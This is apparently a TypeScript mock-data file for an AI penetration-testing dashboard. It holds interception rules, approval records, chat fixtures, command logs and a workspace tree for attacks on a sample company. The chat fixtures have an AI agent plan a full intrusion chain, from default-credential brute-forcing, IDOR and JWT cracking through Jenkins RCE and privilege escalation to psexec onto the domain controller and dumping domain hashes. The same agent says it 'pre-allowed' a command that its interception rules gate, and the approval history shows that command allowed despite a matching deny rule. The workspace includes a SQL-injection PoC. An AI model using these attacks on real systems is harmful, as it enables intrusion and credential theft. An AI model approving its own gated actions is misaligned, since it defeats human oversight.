format: "openai", priority: 10, active: false, excluded: false, state: "tripped", fails: 0, trips: 1, cooldown_secs: 42, last_error: "openai: status 402: insufficient balance", last_at: T("2026-07-26T00:10:00Z"), }, ], }; // ── Intercept ──────────────────────────────────────────────────────────────── export const interceptRules: InterceptRule[] = [ { id: 1, name: "Destructive commands require approval", enabled: true, priority: 10, match_target: "tool_input", match_type: "regex", pattern: "rm\\s+-rf|mkfs|dd\\s+if=", action: "ask", message: "Destructive command detected; manual approval required", timeout_enabled: true, timeout_seconds: 120, timeout_action: "deny", created_at: T("2026-07-20T10:00:00Z"), updated_at: T("2026-07-20T10:00:00Z"), }, { id: 2, name: "Outbound traffic denied outright", enabled: true, priority: 20, match_target: "tool_input", match_type: "string", pattern: "exfil", action: "deny", message: "Suspected data exfiltration", timeout_enabled: false, timeout_seconds: 0, timeout_action: "deny", created_at: T("2026-07-21T10:00:00Z"), updated_at: T("2026-07-21T10:00:00Z"), }, ]; export const interceptPending: InterceptPending[] = [ { id: 101, rule_id: 1, task_id: "t-acme-web", agent_name: "work#3", tool_name: "bash", tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" }, status: "pending", reason: "Data exfiltration gate: full database export requires manual approval", created_at: T("2026-07-26T03:58:00Z"), }, ]; export const interceptHistory: InterceptApprovalRow[] = [ { id: 90, rule_id: 1, task_id: "t-acme-web", agent_name: "work#1", tool_name: "bash", tool_input: { command: "dd if=/dev/zero of=/tmp/x" }, status: "denied", reason: "Destructive commands require approval", created_at: T("2026-07-25T20:00:00Z"), decided_at: T("2026-07-25T20:01:00Z"), conv_title: "", conv_agent_key: "", rule_name: "Destructive commands require approval", }, { id: 91, task_id: "t-acme-api", agent_name: "work#2", tool_name: "bash", tool_input: { command: "rm -rf /var/www/html" }, status: "denied", reason: "[model] Delete a target production file (D4)", created_at: T("2026-07-25T18:00:00Z"), decided_at: T("2026-07-25T18:00:05Z"), conv_title: "", conv_agent_key: "", rule_name: "", }, { id: 92, rule_id: 2, task_id: "t-acme-web", agent_name: "work#13", tool_name: "bash", tool_input: { command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc" }, status: "allowed", reason: "Outbound traffic denied outright", created_at: T("2026-07-26T00:05:00Z"), decided_at: T("2026-07-26T00:06:00Z"), conv_title: "", conv_agent_key: "", rule_name: "Outbound traffic denied outright", }, { id: 93, task_id: "t-acme-web", agent_name: "work#7", tool_name: "bash", tool_input: { command: 'mysql -e "DROP TABLE users_bak_0921"' }, status: "pending", reason: "[model] Suspected backup table; cannot confirm whether it is production data", created_at: T("2026-07-25T15:14:00Z"), conv_title: "", conv_agent_key: "", rule_name: "", }, ]; // Approval detail fixtures use harmless report-writing examples. interceptHistory.unshift({ id: 94, task_id: "t-acme-web", agent_name: "work#1", tool_name: "Write", tool_input: { path: "reports/summary.md", content: "# Check summary\n\nThis round of verification is complete; existing evidence and follow-up suggestions are organized." }, status: "allowed", decision_source: "model", decided_by: "model", reason: "[model] Write the existing check conclusions into a local report without modifying business data.", created_at: T("2026-07-26T08:00:00Z"), decided_at: T("2026-07-26T08:00:02Z"), conv_title: "", conv_agent_key: "", rule_name: "", }); export const interceptDetails: Record<number, InterceptAudit> = { 94: { run_id: "demo-run-report", tool_use_id: "call-write-report", correlation: "exact", input_digest: "a3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458ec1234", user_message: "Please organize the completed checks and write the conclusions and evidence index into reports/summary.md.\nKeep the items pending verification; do not modify business data.", context: [ { kind: "user", text: "Summarize this round's existing evidence and generate a check summary." }, { kind: "tool_use", tool: "Read", tool_use_id: "call-read-evidence", text: '{"path":"reports/evidence-index.json"}', }, { kind: "tool_result", tool: "Read", tool_use_id: "call-read-evidence", text: "Read 3 evidence index entries.\nRecords contain request time, result summary, and local file location.", }, ], captured_at: T("2026-07-26T08:00:00Z"), initial_action: "allow", initial_reason: "[model] Write the existing check conclusions into a local report without modifying business data.", effective_action: "allow", config_digest: "b4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fd1234", profile_id: 1, execution_status: "succeeded", output: "Successfully wrote reports/summary.md\n68 characters written in total.", execution_ended_at: T("2026-07-26T08:00:03Z"), }, 93: { run_id: "demo-run-review", tool_use_id: "call-pending-review", correlation: "exact", input_digest: "c5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670ae1234", user_message: "Check the backup table's purpose; confirm before anything involving deletion.", context: [], captured_at: T("2026-07-25T15:14:00Z"), initial_action: "ask", initial_reason: "[model] Suspected backup table; cannot confirm whether it is production data.", profile_id: 1, execution_status: "not_started", }, }; // ── Conversations (chat) ───────────────────────────────────────────────────── export const conversations: Conversation[] = [ { id: 1, agent_key: "mainagent", title: "Discussion on the acme admin entry point", llm_profile_id: 1, pinned: true, pinned_at: T("2026-07-26T04:00:00Z"), created_at: T("2026-07-25T10:00:00Z"), updated_at: T("2026-07-26T03:40:00Z"), }, { id: 2, agent_key: "mainagent", title: "Mapping the API authorization bypass surface", llm_profile_id: 2, created_at: T("2026-07-24T16:00:00Z"), updated_at: T("2026-07-24T17:20:00Z"), }, { id: 3, agent_key: "mainagent", title: "Internal lateral movement · DMZ→domain controller attack path planning", llm_profile_id: 1, created_at: T("2026-07-25T15:45:00Z"), updated_at: T("2026-07-26T00:25:00Z"), }, ]; export const conversationMessages: Record<number, Activity[]> = { 1: [ { seq: 1, worker: "user", ts: T("2026-07-25T10:00:00Z"), kind: "user", summary: "Where is the admin console, and where should we start?" }, { seq: 2, worker: "mainagent", ts: T("2026-07-25T10:00:04Z"), kind: "thinking", summary: "First confirm the admin.acme.com login page's stack and protections (captcha/rate limit), then decide between default credentials and dictionaries.", }, { seq: 3, worker: "mainagent", ts: T("2026-07-25T10:00:06Z"), kind: "tool_use", tool: "bash", tool_use_id: "c11", summary: "curl -s https://admin.acme.com/login | grep -Eo 'element-ui|captcha|csrf'", }, { seq: 4, worker: "mainagent", ts: T("2026-07-25T10:00:08Z"), kind: "tool_result", tool: "bash", tool_use_id: "c11", summary: "element-ui\ncsrf", detail: "Element-UI admin console; has a CSRF token but no captcha.", }, { seq: 5, worker: "mainagent", ts: T("2026-07-25T10:00:20Z"), kind: "tool_use", tool: "bash", tool_use_id: "c12", summary: "for i in 1 2 3 4 5; do curl -s -o /dev/null -w '%{http_code}\\n' -d 'username=x&password=y' https://admin.acme.com/login; done", }, { seq: 6, worker: "mainagent", ts: T("2026-07-25T10:00:24Z"), kind: "tool_result", tool: "bash", tool_use_id: "c12", summary: "401\\n401\\n401\\n401\\n401", detail: "5 consecutive attempts with no lockout/captcha → no rate limit; brute-force is viable.", }, { seq: 7, worker: "mainagent", ts: T("2026-07-25T10:00:30Z"), kind: "text", summary: "Conclusion: Element-UI admin console, no captcha, no rate limit. Entry order: (1) run the default credential list first (admin/admin, admin/admin123, admin/123456); (2) fall back to the top1000 dictionary. I have injected 'admin default credential testing' as a high-priority intent for the work agent.", }, { seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "Did it work?" }, { seq: 9, worker: "mainagent", ts: T("2026-07-26T03:40:05Z"), kind: "text", summary: "It worked — admin/admin123 logged straight into the console; recorded as a High finding and proved the 'Gain admin access' goal is met. Next, pivot to reading user data (goal 2).", }, ], 2: [ { seq: 1, worker: "user", ts: T("2026-07-24T16:00:00Z"), kind: "user", summary: "Help me map api.acme.com's authorization bypass surface.", }, { seq: 2, worker: "mainagent", ts: T("2026-07-24T16:00:05Z"), kind: "thinking", summary: "First probe the API's authentication scheme and a few key endpoint behaviors, then assess IDOR / JWT risks.", }, { seq: 3, worker: "mainagent", ts: T("2026-07-24T16:00:10Z"), kind: "tool_use", tool: "bash", tool_use_id: "c21", summary: "curl -s https://api.acme.com/v1/users/me -H 'Authorization: Bearer <self>' | jq '{id,role}'", }, { seq: 4, worker: "mainagent", ts: T("2026-07-24T16:00:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "c21", summary: '{ "id": 42, "role": "user" }', detail: "A regular user token works.", }, { seq: 5, worker: "mainagent", ts: T("2026-07-24T16:00:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "c22", summary: "echo '<jwt>' | cut -d. -f1 | base64 -d; # inspect the algorithm", }, { seq: 6, worker: "mainagent", ts: T("2026-07-24T16:00:31Z"), kind: "tool_result", tool: "bash", tool_use_id: "c22", summary: '{"alg":"HS256","typ":"JWT"}', detail: "HS256 symmetric signing; a weak key can be cracked offline to forge tokens.", }, { seq: 7, worker: "mainagent", ts: T("2026-07-24T16:01:00Z"), kind: "text", summary: "Two authorization bypass surfaces: (1) /v1/orders?id= is an auto-increment numeric id → typical IDOR; change the id to try reading others' orders; (2) the JWT uses HS256; try john/hashcat to crack the key → any sub can be forged to bypass authorization. I have dispatched one intent for each. Doing IDOR first is recommended (low cost, direct impact).", }, ], 3: [ { seq: 1, worker: "user", ts: T("2026-07-25T15:45:00Z"), kind: "user", summary: "Got the shell; how do we attack the internal network next?", }, { seq: 2, worker: "mainagent", ts: T("2026-07-25T15:45:05Z"), kind: "thinking", summary: "www-data is insufficient for internal lateral movement; check local privilege escalation first, then do alive-host discovery with the DMZ as pivot after getting root.", }, { seq: 3, worker: "mainagent", ts: T("2026-07-25T15:45:10Z"), kind: "text", summary: "Escalate first: sudo -l has passwordless python3, so go straight to root. Then use the DMZ as a springboard for internal alive-host scanning (fscan), focusing on the domain controller and CI/CD servers.", }, { seq: 4, worker: "user", ts: T("2026-07-25T21:05:00Z"), kind: "user", summary: "The internal scan found 3 hosts; Jenkins 8080 is open — promising?", }, { seq: 5, worker: "mainagent", ts: T("2026-07-25T21:05:08Z"), kind: "tool_use", tool: "bash", tool_use_id: "c31", summary: "proxychains curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'", }, { seq: 6, worker: "mainagent", ts: T("2026-07-25T21:05:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "c31", summary: "200", detail: "/script is directly accessible without authentication.", }, { seq: 7, worker: "mainagent", ts: T("2026-07-25T21:05:20Z"), kind: "text", summary: "Promising — the Script Console is unauthenticated and gives direct Groovy RCE. I have injected a hint for the worker to hit this box first. Once taken, watch the credentials store; it may hold domain accounts.", }, { seq: 8, worker: "user", ts: T("2026-07-25T23:25:00Z"), kind: "user", summary: "Got the domain account; svc_deploy is in Domain Admins — go straight for the domain controller?", }, { seq: 9, worker: "mainagent", ts: T("2026-07-25T23:25:10Z"), kind: "text", summary: "Yes. svc_deploy + Domain Admins = psexec straight to DC01. Run secretsdump afterward to export all domain hashes and wrap up. Note that secretsdump triggers interception rules; I have pre-allowed it for you.", }, { seq: 10, worker: "user", ts: T("2026-07-26T00:22:00Z"), kind: "user", summary: "Target taken; summarize the attack chain." }, { seq: 11, worker: "mainagent", ts: T("2026-07-26T00:22:12Z"), kind: "text", summary: "Full kill chain:\n1. .git leak → white-box source + hardcoded credentials\n2. shop Fastjson RCE → DMZ reverse shell\n3. sudo escalation → root foothold\n4. internal discovery → DC01/FS01/Jenkins\n5. unauthenticated Jenkins → exported domain credentials svc_deploy\n6. Kerberoasting → cracked svc_sql\n7. svc_deploy ∈ Domain Admins → psexec DC01 → secretsdump all domain hashes\n\nAll four goals met; 17 findings (7 High/4 Medium/2 Low + 8 internal-chain).", }, ], }; // ── Asset test coverage (/tasks/{id}/coverage) ── export const coverage = { enabled: true, scope_rows: 4, denominator: 26, tested: 11, pct: 11 / 26, by_type: [ { type: "subdomain", total: 6, tested: 4 }, { type: "service", total: 9, tested: 4 }, { type: "endpoint", total: 8, tested: 2 }, { type: "ip", total: 3, tested: 1 }, ], }; // ── Asset coverage graph (/tasks/{id}/coverage-graph) ── export const coverageGraph = { nodes: [ { key: "c:1", kind: "company", label: "Acme Corp", tested: false, in_scope: false, company_id: 1 }, { key: "a:1", kind: "root_domain", label: "acme.com", tested: false, in_scope: false, asset_id: 1, domain: "acme.com", company_id: 1, }, { key: "a:2", kind: "subdomain", label: "www.acme.com", tested: true, in_scope: true, asset_id: 2, domain: "www.acme.com", root_domain: "acme.com", }, { key: "a:3", kind: "subdomain", label: "api.acme.com", tested: true, in_scope: true, asset_id: 3, domain: "api.acme.com", root_domain: "acme.com", }, { key: "a:4", kind: "subdomain", label: "admin.acme.com", tested: false, in_scope: true, asset_id: 4, domain: "admin.acme.com", root_domain: "acme.com", }, { key: "a:5", kind: "service", label: "www.acme.com", tested: true, in_scope: true, asset_id: 5, domain: "www.acme.com", url: "https://www.acme.com", port: 443, page_title: "Acme home", status_code: 200, }, { key: "a:6", kind: "endpoint", label: "https://www.acme.com/search", tested: true, in_scope: true, asset_id: 6, url: "https://www.acme.com/search?q=", domain: "www.acme.com", }, { key: "a:7", kind: "service", label: "api.acme.com", tested: true, in_scope: true, asset_id: 7, domain: "api.acme.com", url: "https://api.acme.com", port: 443, page_title: "API Gateway", status_code: 401, }, { key: "a:8", kind: "endpoint", label: "https://api.acme.com/v1/orders", tested: false, in_scope: true, asset_id: 8, url: "https://api.acme.com/v1/orders?id=", domain: "api.acme.com", }, { key: "a:9", kind: "service", label: "admin.acme.com", tested: false, in_scope: true, asset_id: 9, domain: "admin.acme.com", url: "https://admin.acme.com", port: 443, page_title: "Admin login", status_code: 200, }, { key: "a:10", kind: "ip", label: "203.0.113.10", tested: true, in_scope: true, asset_id: 10, ip: "203.0.113.10", company_id: 1, }, ], edges: [ { src: "a:1", dst: "c:1" }, { src: "a:2", dst: "a:1" }, { src: "a:3", dst: "a:1" }, { src: "a:4", dst: "a:1" }, { src: "a:5", dst: "a:2" }, { src: "a:6", dst: "a:5" }, { src: "a:7", dst: "a:3" }, { src: "a:8", dst: "a:7" }, { src: "a:9", dst: "a:4" }, { src: "a:10", dst: "c:1" }, ], }; // ── Intents/facts/findings linked to the asset in this task (/tasks/{id}/asset-refs) ── // Broadcast board demo: exploration nodes → their anchored assets. The real backend reads exploration_anchors; the mock provides a few static entries. const NODE_ASSETS: Record<string, number[]> = { fi1: [3], fi2: [2, 4], fi3: [5], fiRce: [4], fiPriv: [19], fiJenkins: [21], i1: [2], i7: [4], }; export function nodeAssetsFor(nodeId: string): FindingAsset[] { return (NODE_ASSETS[nodeId] ?? []).flatMap((id) => { const asset = assets.find((candidate) => candidate.id === id); return asset ? [assetRef(id)] : []; }); } export function assetRefsFor(_assetId: number) { return { intents: [ { id: 12, kind: "intent", state: "done", summary: "SQL injection probing against the www.acme.com search API" }, { id: 18, kind: "intent", state: "running", summary: "Enumerating object-level authorization bypass (IDOR) on api.acme.com" }, ], facts: [{ id: 34, kind: "fact", state: "confirmed", summary: "The search?q= parameter is injectable; the error echoes a MySQL syntax error" }], findings: [{ id: 41, kind: "finding", state: "confirmed", summary: "[High] SQL injection www.acme.com/search?q=" }], }; } // ── Workspace file manager (/workspace/*, demo: static sample tree) ── const WS_TREE: Record<string, { name: string; dir: boolean; size: number; content?: string }[]> = { "": [ { name: "t-001", dir: true, size: 0 }, { name: "transcripts", dir: true, size: 0 }, { name: "notes.md", dir: false, size: 96, content: "# Workspace notes\n\n(demo) This is a sample file in the workspace root that can be edited and saved online.\n", }, ], "t-001": [ { name: "i12", dir: true, size: 0 }, { name: "recon.txt", dir: false, size: 64, content: "acme.com\nwww.acme.com\napi.acme.com\nadmin.acme.com\n" }, ], "t-001/i12": [ { name: "exploit.py", dir: false, size: 220, content: "#!/usr/bin/env python3\n# (demo) SQLi PoC — www.acme.com/search?q=\nimport requests\n\nr = requests.get('https://www.acme.com/search', params={'q': \"1' OR '1'='1\"})\nprint(r.status_code, len(r.text))\n", }, { name: "response.html", dir: false, size: 180, content: "<!-- (demo) captured response body fragment -->\n<html><body>MySQL error near ''1'='1'</body></html>\n", }, ], transcripts: [ { name: "exp1-worker-i12.jsonl", dir: false, size: 512, content: "(demo) Sample raw LLM conversation log, omitted here." }, ], }; const wsClean = (p: string) => p.replace(/^\/+|\/+$/g, ""); export function workspaceList(path: string) { const key = wsClean(path); const items = WS_TREE[key] ?? []; const now = Date.parse("2026-08-09T03:00:00Z"); return { path: key, entries: items.map((it, i) => ({ name: it.name, path: key ? `${key}/${it.name}` : it.name, dir: it.dir, size: it.size, mtime: now - i * 3_600_000, })), }; } export function workspaceRead(path: string) { const key = wsClean(path); const slash = key.lastIndexOf("/"); const parent = slash >= 0 ? key.slice(0, slash) : ""; const name = slash >= 0 ? key.slice(slash + 1) : key; const f = (WS_TREE[parent] ?? []).find((x) => x.name === name && !x.dir); return { path: key, size: f?.size ?? 0, binary: false, content: f?.content ?? "" }; } // ── Tool execution history (/commands) ── export const commandRecords = [ { id: 1, exploration_id: 1, worker: "worker-1", tool: "bash", command: JSON.stringify({ command: "curl -s 'https://www.acme.com/search?q=test'" }), output: "HTTP/1.1 200 OK\nContent-Length: 12034\n<html>… search results page …</html>", is_error: false, created_at: T("2026-08-09T02:10:00Z"), }, { id: 2, exploration_id: 1, worker: "worker-1", tool: "bash", command: JSON.stringify({ command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs" }), output: "[*] available databases [2]:\n[*] acme_prod\n[*] information_schema\nback-end DBMS: MySQL >= 5.7", is_error: false, created_at: T("2026-08-09T02:12:30Z"), }, { id: 3, exploration_id: 1, worker: "worker-2", tool: "bash", command: JSON.stringify({ command: "ffuf -u https://api.acme.com/FUZZ -w common.txt -mc 200,401,403" }), output: "v1 [Status: 200]\nhealth [Status: 200]\norders [Status: 401]\nadmin [Status: 403]", is_error: false, created_at: T("2026-08-09T02:15:00Z"), }, { id: 4, exploration_id: 1, worker: "worker-2", tool: "bash", command: JSON.stringify({ command: "nmap -sV -p- 203.0.113.10" }), output: "PORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.9\n443/tcp open https nginx 1.24", is_error: false, created_at: T("2026-08-09T02:18:00Z"), }, { id: 5, exploration_id: 1, worker: "worker-1", tool: "bash", command: JSON.stringify({ command: "curl -s https://admin.acme.com/login --data 'user=admin&pass=admin123'" }), output: "curl: (28) Operation timed out after 10000 ms", is_error: true, created_at: T("2026-08-09T02:20:00Z"), }, ]; // ── LLM recordings (/llm/records, /llm/records/{id}) ── export const llmRecords = [ { id: 1, ts: T("2026-08-09T02:10:02Z"), model: "claude-opus-4-8", profile_name: "Default", session_id: "exp1-worker-i12", task_id: "t-001", worker: "worker-1", latency_ms: 3210, input_tokens: 8421, output_tokens: 512, cache_read: 6000, cache_write: 1200, status: "ok", }, { id: 2, ts: T("2026-08-09T02:11:40Z"), model: "claude-opus-4-8", profile_name: "Default", session_id: "exp1-planner", task_id: "t-001", worker: "planner", latency_ms: 4180, input_tokens: 12044, output_tokens: 733, cache_read: 9000, cache_write: 1500, status: "ok", }, { id: 3, ts: T("2026-08-09T02:15:20Z"), model: "claude-opus-4-8", profile_name: "Default", session_id: "exp1-worker-i18", task_id: "t-001", worker: "worker-2", latency_ms: 2890, input_tokens: 7311, output_tokens: 421, cache_read: 5200, cache_write: 900, status: "ok", }, { id: 4, ts: T("2026-08-09T02:16:05Z"), model: "claude-opus-4-8", profile_name: "Default", session_id: "exp1-worker-i18", task_id: "t-001", worker: "worker-2", latency_ms: 900, input_tokens: 7600, output_tokens: 0, cache_read: 5200, cache_write: 0, status: "error", error: "429 Too Many Requests (retried with backoff)", }, ]; // Distinct tasks with counts, derived from llmRecords above (task picker). const llmTaskCounts: Record<string, number> = {}; for (const r of llmRecords) if (r.task_id) llmTaskCounts[r.task_id] = (llmTaskCounts[r.task_id] ?? 0) + 1; export const llmTasks: LLMTask[] = Object.entries(llmTaskCounts).map(([task_id, count]) => ({ task_id, count })); export function llmRecordDetail(id: number, records = llmRecords) { const item = records.find((r) => r.id === id) ?? records[0]; return { ...item, request_body: JSON.stringify( { model: item.model, system: "You are the 'executor' of an authorized penetration testing system… (omitted)", messages: [{ role: "user", content: "Start executing this intent from the system prompt: do only it, produce only facts, stop when done." }], tools: ["bash", "insert_assets", "record_fact", "report_finding"], }, null, 2, ), response_body: JSON.stringify( { stop_reason: item.status === "error" ? "error" : "tool_use", content: [ { type: "text", text: "Probe injection on search?q=; verify with an error-based payload first." }, { type: "tool_use", name: "bash", input: { command: "curl -s 'https://www.acme.com/search?q=1%27'" } }, ], usage: { input_tokens: item.input_tokens, output_tokens: item.output_tokens }, }, null, 2, ), // Raw HTTP: the request contains the full tool schema dropped by the normalized view; the response is raw SSE frames. raw_request: JSON.stringify({ model: item.model, max_tokens: 8192, stream: true, system: [ { type: "text", text: "You are the 'executor' of an authorized penetration testing system… (omitted)", cache_control: { type: "ephemeral" } }, ], messages: [{ role: "user", content: "Start executing this intent from the system prompt: do only it, produce only facts, stop when done." }], tools: [ { name: "bash", description: "Runs a shell command in the target environment and returns its output.", input_schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] }, }, ], thinking: { type: "enabled" }, }), raw_response: [ `event: message_start`, `data: {"type":"message_start","message":{"id":"msg_01mock","model":"${item.model}","usage":{"input_tokens":${item.input_tokens},"output_tokens":1}}}`, ``, `event: content_block_delta`, `data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"Probe injection on search?q=."}}`, ``, `event: content_block_start`, `data: {"type":"content_block_start","index":1,"content_block":{"type":"tool_use","id":"toolu_01mock","name":"bash"}}`, ``, `event: content_block_delta`, `data: {"type":"content_block_delta","index":1,"delta":{"type":"input_json_delta","partial_json":"{\\"command\\":\\"curl -s 'https://www.acme.com/search?q=1%27'\\"}"}}`, ``, `event: message_delta`, `data: {"type":"message_delta","delta":{"stop_reason":"tool_use"},"usage":{"output_tokens":${item.output_tokens}}}`, ``, `event: message_stop`, `data: {"type":"message_stop"}`, ``, ].join("\n"), }; }